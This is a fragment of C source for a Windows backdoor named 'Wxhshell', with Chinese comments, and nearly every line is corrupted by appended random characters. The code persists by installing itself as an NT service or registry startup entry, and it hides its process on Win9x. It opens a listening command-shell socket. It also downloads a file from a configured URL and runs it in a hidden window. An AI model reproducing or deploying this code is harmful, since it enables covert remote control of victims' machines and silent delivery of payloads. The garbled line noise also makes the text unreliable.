DWORD BasePriority; % PzkV s
ULONG UniqueProcessId; Z*M{
ULONG InheritedFromUniqueProcessId; '$Z)2fn7
} PROCESS_BASIC_INFORMATION; N.mRay,
0{vT`e'
PROCNTQSIP NtQueryInformationProcess; 'v^Vg
Xz @#,F:@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u7mPp3ZYK
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /"J 6``MV
NCh-BinK@
HANDLE hProcess; ;8oe-xS\+
PROCESS_BASIC_INFORMATION pbi; X$KTsG*
%|JiFDjp
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JPF6zzl)
if(NULL == hInst ) return 0; *rTg>)
&|Wqzdo?#
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7j)ky2r#
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GXxI=,L8F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~~Bks{"BS
hDi~{rbmc
if (!NtQueryInformationProcess) return 0; 56JQ h
6D
Xja_lp
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S'5 )K
if(!hProcess) return 0; /e"iYF
,K[e?(RP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,KJHY m=Q
,c:NdY(,)
CloseHandle(hProcess); zg3kU65PJE
uD@ZM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FD[*Q2fU
if(hProcess==NULL) return 0; O*v&CHd3
6yy%_+k*
HMODULE hMod; .v(GVkE}
char procName[255]; wH8J?j"5>
unsigned long cbNeeded; ,=\.L_'
i{m!v6j:
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x</4/d
T/E=?kBR
CloseHandle(hProcess); .8W-,R4
m"rht:v5
if(strstr(procName,"services")) return 1; // 以服务启动 Zb2pZhkW
#w.0 Cc
return 0; // 注册表启动 6 eryf?
} PwW$=M{\.
Xk.OyQ@
// 主模块 A:ts_*
int StartWxhshell(LPSTR lpCmdLine) t@R[:n;+
{ el`?:dY H
SOCKET wsl; y>}r
BOOL val=TRUE; h&K$(}X
int port=0; nHm29{G0
struct sockaddr_in door; l6#Y}<tq
_%R^8FjH*
if(wscfg.ws_autoins) Install(); +r'&6Me!
Xuu&`U~%
port=atoi(lpCmdLine); ..5~x~O
Hk;;+ '-
if(port<=0) port=wscfg.ws_port; W6T4Zsg
KO=$Hr?f;
WSADATA data; G+N1#0,q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1iY4|j;ahV
iO?AY
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #WZat
?-N
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iXy1{=BDv
door.sin_family = AF_INET; FbroI>" e
door.sin_addr.s_addr = inet_addr("127.0.0.1"); nEu:& 4
door.sin_port = htons(port); Ik^^8@z
S>I` y]qlR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K-:y
closesocket(wsl); - (WH+
return 1; h#Z["BG
} {Vj&i.2,
OGg\VV'
if(listen(wsl,2) == INVALID_SOCKET) { F/ZFO5C%
closesocket(wsl); |P]W#~Y-
return 1; }O7sP^
} we[+6Z6J
Wxhshell(wsl); D(ItNMcKu
WSACleanup(); ]}lt^7\=
rlR!Tc>
return 0; Fc@R,9
5c3-?u!
}
YA,~qT|
lND2Kb
// 以NT服务方式启动 OC*28)
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IrQ.[?C
{ 4
9N.P;b
DWORD status = 0; nrMW5>&-`
DWORD specificError = 0xfffffff; >)<?
}P?e31@:
serviceStatus.dwServiceType = SERVICE_WIN32; 0&sa#g2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %?+vtX
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +ZNOvcsV
serviceStatus.dwWin32ExitCode = 0; \1G'{#Q
serviceStatus.dwServiceSpecificExitCode = 0; ,B'=$PO%
serviceStatus.dwCheckPoint = 0; y:98}gW`n
serviceStatus.dwWaitHint = 0; AC1RP`c
K7`6G[RMb
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #dae^UjM
if (hServiceStatusHandle==0) return; uKAI->"
;iuwIdo6c
status = GetLastError(); tgKr*8t{
if (status!=NO_ERROR) D%]S>g5k
{ 'Z~ZSu
serviceStatus.dwCurrentState = SERVICE_STOPPED; U4=l`{5on
serviceStatus.dwCheckPoint = 0; f2x!cL|Kx?
serviceStatus.dwWaitHint = 0; '27$x&6>S
serviceStatus.dwWin32ExitCode = status; xx!8cvD4?
serviceStatus.dwServiceSpecificExitCode = specificError; SPE)db3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "jyo'r
return; D<69xT,
} _l9fNf!@
|\Jnr3)
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,:PMS8pS
serviceStatus.dwCheckPoint = 0; I9zs
serviceStatus.dwWaitHint = 0; A]!0Z:{h%
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9oJM?&i
} s0dP3tz>
nC p/.]Y*
// 处理NT服务事件,比如:启动、停止 k!x|oC0
VOID WINAPI NTServiceHandler(DWORD fdwControl) =KHb0d |.
{ @CzFzVmF"
switch(fdwControl)
]S4"JcM
{ S?b&4\:
case SERVICE_CONTROL_STOP: N_K9H1r
serviceStatus.dwWin32ExitCode = 0; uQvTir*e
serviceStatus.dwCurrentState = SERVICE_STOPPED; .4\I?
serviceStatus.dwCheckPoint = 0; I}bu
serviceStatus.dwWaitHint = 0; %3qjgyLZ|
{ pFY*Y>6ar
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :@i+yN cV
} >[aR8J/U
return; ^g*Sy, A
case SERVICE_CONTROL_PAUSE: ={%'tv`
serviceStatus.dwCurrentState = SERVICE_PAUSED; LH(P<k&
break; B`e/ /
case SERVICE_CONTROL_CONTINUE: Ck
)W=
serviceStatus.dwCurrentState = SERVICE_RUNNING; */h(4Hz
break; _y[C52,
case SERVICE_CONTROL_INTERROGATE: fE~KWLm
break; se %#U40*
}; + )Qu,%2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _">F]ptI;
} YCiG~y/~
T;(,9>Qsu
// 标准应用程序主函数 v_5qE
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ru 6`Z+p
{ [<@T%yq
UxNn5(:sM@
// 获取操作系统版本 +8zACs{p
OsIsNt=GetOsVer(); U\lbh;9G
GetModuleFileName(NULL,ExeFile,MAX_PATH); E2r5Pg
aInt[D(
// 从命令行安装 ~ |Vqv{
if(strpbrk(lpCmdLine,"iI")) Install(); 1rZ E2
KsOSPQDGE
// 下载执行文件 Zzjx;SF
if(wscfg.ws_downexe) { ;)FvTm'"\.
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dPu27 "
WinExec(wscfg.ws_filenam,SW_HIDE); _MC',p&
} Eh8GqFEM
DQY1oM)D!
if(!OsIsNt) { .zZfP+Q]8
// 如果时win9x,隐藏进程并且设置为注册表启动 gGvL6Fu
HideProc(); 5
NYS@76o7
StartWxhshell(lpCmdLine); 5Jo'h]
} m+'1c}n^7
else 5z0Sns
if(StartFromService()) A^,ul>!
// 以服务方式启动 ,JdBVt
StartServiceCtrlDispatcher(DispatchTable); XA#qBxp/h
else Xw9]WJc
// 普通方式启动 ]2m=lt1
StartWxhshell(lpCmdLine); Z0Sqw
Z~Q5<A9Jz
return 0; 1R8tR#l
}